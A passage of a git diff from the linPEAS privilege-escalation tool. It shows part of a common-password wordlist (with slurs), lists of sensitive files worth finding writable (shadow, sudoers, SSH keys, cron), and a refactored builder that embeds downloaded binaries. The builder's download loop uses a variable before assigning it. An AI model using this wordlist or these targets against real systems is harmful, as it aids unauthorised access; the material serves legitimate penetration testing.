sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \ +snickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 12344321 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \ +stephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369 007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \ +redsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 147852 12121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 789456123 77777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \ +nigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 54321 252525 111222 0000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999 142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \ +katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 321321 2222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123 151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 7654321 4444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \ +charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \ +andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \ +plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/usrs_sh.sh b/linPEAS/builder/linpeas_parts/variables/usrs_sh.sh new file mode 100644 index 0000000..a3ae41e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/usrs_sh.sh @@ -0,0 +1,26 @@ +# Title: Variables - Users with and withuot shell +# ID: usrs_sh +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check for users with and without shell +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: $sh_usrs, $nosh_usrs, $ushell, $uname +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$MACPEAS" ]; then + sh_usrs="ImPoSSssSiBlEee" + nosh_usrs="ImPoSSssSiBlEee" + dscl . list /Users | while read uname; do + ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) + if grep -q \"$ushell\" /etc/shells; then sh_usrs="$sh_usrs|$uname"; else nosh_usrs="$nosh_usrs|$uname"; fi + done +else + sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere + nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" | sort | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/writeB.sh b/linPEAS/builder/linpeas_parts/variables/writeB.sh new file mode 100644 index 0000000..cf6917b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/writeB.sh @@ -0,0 +1,16 @@ +# Title: Variables - writeB +# ID: writeB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dnagerous files that could be written by the current user +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $writeB +# Fat linpeas: 0 +# Small linpeas: 1 + + +writeB="00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\.sh$|\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\.timer$|\.service$|.socket$" diff --git a/linPEAS/builder/linpeas_parts/variables/writeVB.sh b/linPEAS/builder/linpeas_parts/variables/writeVB.sh new file mode 100644 index 0000000..3eb017f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/writeVB.sh @@ -0,0 +1,16 @@ +# Title: Variables - writeVB +# ID: writeVB +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Very dangerous files and folders if writable +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $PATH +# Initial Functions: +# Generated Global Variables: $writeVB +# Fat linpeas: 0 +# Small linpeas: 1 + + +writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo $PATH 2>/dev/null | sed 's/:\.:/:/g' | sed 's/:\.$//g' | sed 's/^\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH \ No newline at end of file diff --git a/linPEAS/builder/src/linpeasBaseBuilder.py b/linPEAS/builder/src/linpeasBaseBuilder.py index ec58a1e..b07aae1 100644 --- a/linPEAS/builder/src/linpeasBaseBuilder.py +++ b/linPEAS/builder/src/linpeasBaseBuilder.py @@ -1,37 +1,333 @@ +import os +from typing import List + +from .linpeasModule import LinpeasModule, LinpeasModuleList from .yamlGlobals import ( LINPEAS_PARTS, - LINPEAS_BASE_PATH, TEMPORARY_LINPEAS_BASE_PATH, PEAS_CHECKS_MARKUP ) class LinpeasBaseBuilder: - def __init__(self): - with open(LINPEAS_BASE_PATH, 'r') as file: - self.linpeas_base = file.read() + def __init__(self, all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules): + # Everything relevant + self.all_modules = self.get_modules(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) + # Only base + self.base = self.get_base() + # Only checks + self.checks = self.get_checks() + print(f"[+] {len(self.checks)} checks located") + # Only functions sorted + self.functions = self.get_functions() + # Only variables sorted + self.variables = self.get_variables() + + self.linpeas_base = "" + + def build(self): - print("[+] Building temporary linpeas_base.sh...") - checks = [] - for part in LINPEAS_PARTS: - name = part["name"] - assert name, f"Name not found in {part}" - name_check = part["name_check"] - assert name_check, f"Name not found in {name_check}" - file_path = part["file_path"] - assert file_path, f"Name not found in {file_path}" + print("[+] Building temporary linpeas_base.sh with the indicated modules...") + + # Add base code + for base in self.base: + self.linpeas_base += base.sh_code.strip() + "\n\n" + + # Add variables + self.linpeas_base += "\n\n\n# Variables\n\n" + for variable in self.variables: + if "Checks pre-everything" in variable.sh_code: + a=1 + self.linpeas_base += variable.sh_code.strip() + "\n\n" + + self.linpeas_base += "\n\n\n# Functions\n\n" + # Add functions + for function in self.functions: + self.linpeas_base += function.sh_code.strip() + "\n\n" - with open(file_path, 'r') as file: - linpeas_part = file.read() + self.linpeas_base += "\n\n\n# Checks\n\n" + + section_checks = {} + check_names = [] + for check in self.checks: + # Get the section of the check + for part_mod in LINPEAS_PARTS["modules"]: + if part_mod["folder_path"] in check.path: + if part_mod["name"] not in section_checks: + section_checks[part_mod["name"]] = part_mod + section_checks[part_mod["name"]]["checks"] = [] + section_checks[part_mod["name"]]["checks"].append(check) + break + + initial_functions = set() + for section_name, section_info in section_checks.items(): + # Add 1 time the big section name to check_names to then put it inside linpeas in PEAS_CHECKS_MARKUP + if not section_info['name_check'] in check_names: check_names.append(section_info['name_check']) + self.linpeas_base += f"\nif echo $CHECKS | grep -q {section_info['name_check']}; then\n" + self.linpeas_base += f'print_title "{section_name}"\n' + + # Sort checks alphabetically to get them in the same order of they are in the folder + section_info["checks"] = sorted(section_info["checks"], key=lambda x: int(os.path.basename(x.path).split('_')[0]) if os.path.basename(x.path).split('_')[0].isdigit() else 99) + for check in section_info["checks"]: + for func in check.initial_functions: + if not func in initial_functions: + self.linpeas_base += func + "\n" + initial_functions.add(func) + + self.linpeas_base += check.sh_code.strip() + "\n\n" - checks.append(name_check) - self.linpeas_base += f"\nif echo $CHECKS | grep -q {name_check}; then\n" - self.linpeas_base += f'print_title "{name}"\n' - self.linpeas_base += linpeas_part self.linpeas_base += f"\nfi\necho ''\necho ''\n" self.linpeas_base += 'if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi\n' - self.linpeas_base = self.linpeas_base.replace(PEAS_CHECKS_MARKUP, ",".join(checks)) + self.linpeas_base = self.linpeas_base.replace(PEAS_CHECKS_MARKUP, ",".join(check_names)) with open(TEMPORARY_LINPEAS_BASE_PATH, "w") as f: f.write(self.linpeas_base) + + def find_func_module(self, func_name:str): + """Given a function name and the list of modules return the module that contains the function""" + + modules = [] + for module in self.all_modules: + if func_name in module.defined_funcs: + modules.append(module) + + if len(modules) == 0: + raise Exception(f"Function {func_name} not found in any module") + elif len(modules) > 1: + raise Exception(f"Function {func_name} found in more than 1 module: {modules}") + + return modules[0] + + def find_variable_module(self, var_name:str, orig_module:LinpeasModule): + """Given a variable name and the list of modules return the module that contains the variable""" + + modules = [] + for module in self.all_modules: + if var_name in module.generated_global_variables: + modules.append(module) + + if len(modules) == 0: + raise Exception(f"Variable '{var_name}' from {orig_module.path} not found in any module") + elif len(modules) > 1: + raise Exception(f"Variable {var_name} found in more than 1 module: {', '.join([m.path for m in modules])}") + + return modules[0] + + def sort_funcs(self, functions:List[LinpeasModule]): + """Given a list of functions, return the list sorted by dependencies""" + + sorted_funcs = functions.copy() + retry = False + + for i,func in enumerate(functions): + for d_func in func.functions_used: + is_base = False + # If the dependant variable is defined in a module that is in the base, remove it from the list + if any (d_func in m.defined_funcs for m in self.base): + try: + sorted_funcs.index(d_func) # Check if it's there + sorted_funcs.remove(d_func) # Remove if it's + retry = True # After a failure, start again + except: + pass + + is_base = True + + if is_base: + continue + + # If a dependant variable is after the current one, move it to the current position + try: + dp_index = functions.index(d_func) + except: + raise Exception(f"Variable {d_func} not found in {func.path}") + + if dp_index > i: + sorted_funcs.remove(d_func) + sorted_funcs.insert(i, functions[dp_index]) + retry = True + + if retry: + return self.sort_funcs(sorted_funcs) + return sorted_funcs + + + def sort_variables(self, variables:List[LinpeasModule]): + """Given a list of variables, return the list sorted by dependencies""" + + sorted_vars = variables.copy() + retry = False + + for i,var in enumerate(variables): + for d_var in var.global_variables: + is_base = False + # If the dependant variable is defined in a module that is in the base, remove it from the list + if any (d_var in m.generated_global_variables for m in self.base): + try: + sorted_vars.index(d_var) # Check if it's there + sorted_vars.remove(d_var) # Remove if it's + retry = True # After a failure, start again + except: + pass + + is_base = True + + if is_base: + continue + + # If a dependant variable is after the current one, move it to the current position + try: + dp_index = variables.index(d_var) + except: + raise Exception(f"Variable {d_var} not found in {var.path}") + + if dp_index > i: + sorted_vars.remove(d_var) + sorted_vars.insert(i, variables[dp_index]) + retry = True + + if retry: + return self.sort_variables(sorted_vars) + return sorted_vars + + def get_funcs_deps(self, module, all_funcs): + """Given 1 module and the list of modules return the functions recursively it depends on""" + + for func in module.functions_used: + func_module = self.find_func_module(func) + #print(f"{module.id} has found {func} in {func_module.id}") #To find circular dependencies + if not func_module.is_function: + continue + if func_module in all_funcs: + all_funcs.remove(func_module) + all_funcs.append(func_module) + all_funcs = self.get_funcs_deps(func_module, all_funcs) + + return all_funcs + + + def get_vars_deps(self, module, all_vars): + """Given 1 module and the list of modules return the variables recursively it depends on""" + + for var in module.global_variables: + var_module = self.find_variable_module(var, module) + #print(f"{module.id} has found {var} in {var_module.id}") #To find circular dependencies + if not var_module.is_variable: + continue + if var_module in all_vars: + all_vars.remove(var_module) + all_vars.append(var_module) + all_vars = self.get_vars_deps(var_module, all_vars) + + return all_vars + + + def get_functions(self): + """Get all the functions used sorted, first the ones that don't depend on any other, then the ones that depend on the previous ones, etc.""" + + all_funcs = LinpeasModuleList() + + for module in self.checks: + all_funcs = self.get_funcs_deps(module, all_funcs) + + return self.sort_funcs(all_funcs) + + + def get_variables(self): + """Get all the variables used sorted, first the ones that don't depend on any other, then the ones that depend on the previous ones, etc.""" + + all_variables = LinpeasModuleList() + + for module in self.checks + self.functions: + all_variables = self.get_vars_deps(module, all_variables) + + return self.sort_variables(all_variables) + + + def get_checks(self): + """Given all the modules get only the checks""" + + checks = LinpeasModuleList() + for module in self.all_modules: + if not module.is_check: + continue + + checks.append(module) + + return checks + + + def get_base(self): + """Given all the modules get only the base""" + + checks = LinpeasModuleList() + for module in self.all_modules: + if not module.is_base: + continue + + checks.append(module) + + return checks + + + def enumerate_directory(self, path): + """Given a directory get the paths to all the files inside it""" + return sorted([os.path.join(path, f) for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]) + + def get_modules(self, all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) -> LinpeasModuleList: + """Get all the base, variable, function and specified modules to create the new linpeas""" + + print("[+] Checking the syntax of the modules...") + parsed_modules = LinpeasModuleList() + all_module_paths = [] + # Base modules + all_module_paths += self.enumerate_directory(LINPEAS_PARTS["base"]) + + # Function modules + all_module_paths += self.enumerate_directory(LINPEAS_PARTS["functions"]) + + # Variable modules + all_module_paths += self.enumerate_directory(LINPEAS_PARTS["variables"]) + + for module in LINPEAS_PARTS["modules"]: + for ex_module in exclude_modules: + if ex_module in module["folder_path"] or ex_module in [module["name"], module["name_check"]]: + continue + all_module_paths += self.enumerate_directory(module["folder_path"]) + + for module in all_module_paths: + m = LinpeasModule(module) + + # If base, function or variable, add it as it will only be used if needed + if m.is_function or m.is_variable: + parsed_modules.append(m) + continue + + # If base but no interested in network scanning, skip, else, add + if m.is_base: + if "check_network_jobs" in m.path and no_network_scanning: + continue + parsed_modules.append(m) + continue + + # If explicitely excluded, skip + if m.id in exclude_modules: + continue + if all_no_fat_modules and m.is_fat: + continue + if small and not m.is_small: + continue + + # If implicitly included, add + if all_modules or all_no_fat_modules or m.id in include_modules: + parsed_modules.append(m) + for in_module in include_modules: + if in_module.lower() in os.path.basename(m.path).lower() or in_module.lower() == m.id.lower() or in_module in [m.section_info["name"], m.section_info["name_check"]]: + parsed_modules.append(m) + break + + return parsed_modules + + + diff --git a/linPEAS/builder/src/linpeasBuilder.py b/linPEAS/builder/src/linpeasBuilder.py index a1c42ae..1166db7 100644 --- a/linPEAS/builder/src/linpeasBuilder.py +++ b/linPEAS/builder/src/linpeasBuilder.py @@ -7,6 +7,7 @@ from pathlib import Path from .peasLoaded import PEASLoaded from .peassRecord import PEASRecord from .fileRecord import FileRecord +from .linpeasModule import LinpeasModule from .yamlGlobals import ( TEMPORARY_LINPEAS_BASE_PATH, PEAS_FINDS_MARKUP, @@ -28,13 +29,8 @@ from .yamlGlobals import ( SUDOVB2_MARKUP, CAP_SETUID_MARKUP, CAP_SETGID_MARKUP, - LES_MARKUP, - LES2_MARKUP, REGEXES_LOADED, - REGEXES_MARKUP, - FAT_LINPEAS_AMICONTAINED_MARKUP, - FAT_LINPEAS_GITLEAKS_LINUX_MARKUP, - FAT_LINPEAS_GITLEAKS_MACOS_MARKUP + REGEXES_MARKUP ) @@ -52,18 +48,23 @@ class LinpeasBuilder: print("[+] Building variables...") variables = self.__generate_variables() self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "") + + if len(re.findall(r"PSTORAGE_[a-zA-Z0-9_]+", self.linpeas_sh)) > 1: #Only add storages if there are storages (PSTORAGE_BACKUPS is always there so it doesn't count) + print("[+] Building finds...") + find_calls, find_custom_calls = self.__generate_finds() + self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ") + self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ") - print("[+] Building finds...") - find_calls, find_custom_calls = self.__generate_finds() - self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ") - self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ") - - print("[+] Building storages...") - storage_vars = self.__generate_storages() - self.__replace_mark(PEAS_STORAGES_MARKUP, storage_vars, " ") + print("[+] Building storages...") + storage_vars = self.__generate_storages() + self.__replace_mark(PEAS_STORAGES_MARKUP, storage_vars, " ") + + else: + lm = LinpeasModule(os.path.join(os.path.dirname(__file__), "..", "linpeas_parts", "linpeas_base", "2_caching_finds.sh")) + self.linpeas_sh = self.linpeas_sh.replace(lm.sh_code, "") #Check all the expected STORAGES in linpeas have been created - for s in re.findall(r'PSTORAGE_[\w]*', self.linpeas_sh): + for s in re.findall(r'PSTORAGE_[a-zA-Z0-9_]+', self.linpeas_sh): assert s in self.bash_storages, f"{s} isn't created" #Replace interesting hidden files markup for a list of all the searched hidden files @@ -91,35 +92,37 @@ class LinpeasBuilder: self.__replace_mark(REGEXES_MARKUP, list(section), "") - print("[+] Building linux exploit suggesters...") - les_b64, les2_b64 = self.__get_linux_exploit_suggesters() - assert len(les_b64) > 100 - assert len(les2_b64) > 100 - self.__replace_mark(LES_MARKUP, list(les_b64), "") - self.__replace_mark(LES2_MARKUP, list(les2_b64), "") + print("[+] Downloading external tools...") + urls = re.findall(r'peass\{(https://[^\}]+)\}', self.linpeas_sh) + for orig_url in urls: + tar_gz_bin_name = "" + if ",,," in orig_url: + tar_gz_bin_name = url.split(",,,")[1] + url = orig_url.split(",,,")[0] + else: + url = orig_url + + print(f"Downloading {url}...") + + bin_b64 = self.__get_bin(url, tar_gz_bin_name) - print("[+] Downloading Fat Linpeas binaries...") - aimcont_b64 = self.__get_bin("https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64") - self.__replace_mark(FAT_LINPEAS_AMICONTAINED_MARKUP, list(aimcont_b64), "") + assert len(bin_b64) > 15000, f"Len of downloaded {url} is {len(bin_b64)}" + + self.__replace_mark("peass{"+orig_url+"}", list(bin_b64), "") - gitleaks_b64 = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_linux_x64.tar.gz", tar_gz="gitleaks") - self.__replace_mark(FAT_LINPEAS_GITLEAKS_LINUX_MARKUP, list(gitleaks_b64), "") + if any(v in self.linpeas_sh for v in [SUIDVB1_MARKUP, SUIDVB2_MARKUP, SUDOVB1_MARKUP, SUDOVB2_MARKUP, CAP_SETUID_MARKUP, CAP_SETGID_MARKUP]): + print("[+] Building GTFOBins lists...") + suidVB, sudoVB, capsVB = self.__get_gtfobins_lists() + assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}" + assert len(sudoVB) > 250, f"Len sudo is {len(sudoVB)}" + assert len(capsVB) > 10, f"Len suidVB is {len(capsVB)}" - gitleaks_b64_macos = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_darwin_x64.tar.gz", tar_gz="gitleaks") - self.__replace_mark(FAT_LINPEAS_GITLEAKS_MACOS_MARKUP, list(gitleaks_b64_macos), "") - - print("[+] Building GTFOBins lists...") - suidVB, sudoVB, capsVB = self.__get_gtfobins_lists() - assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}" - assert len(sudoVB) > 250, f"Len sudo is {len(sudoVB)}" - assert len(capsVB) > 10, f"Len suidVB is {len(capsVB)}" - - self.__replace_mark(SUIDVB1_MARKUP, suidVB[:int(len(suidVB)/2)], "|") - 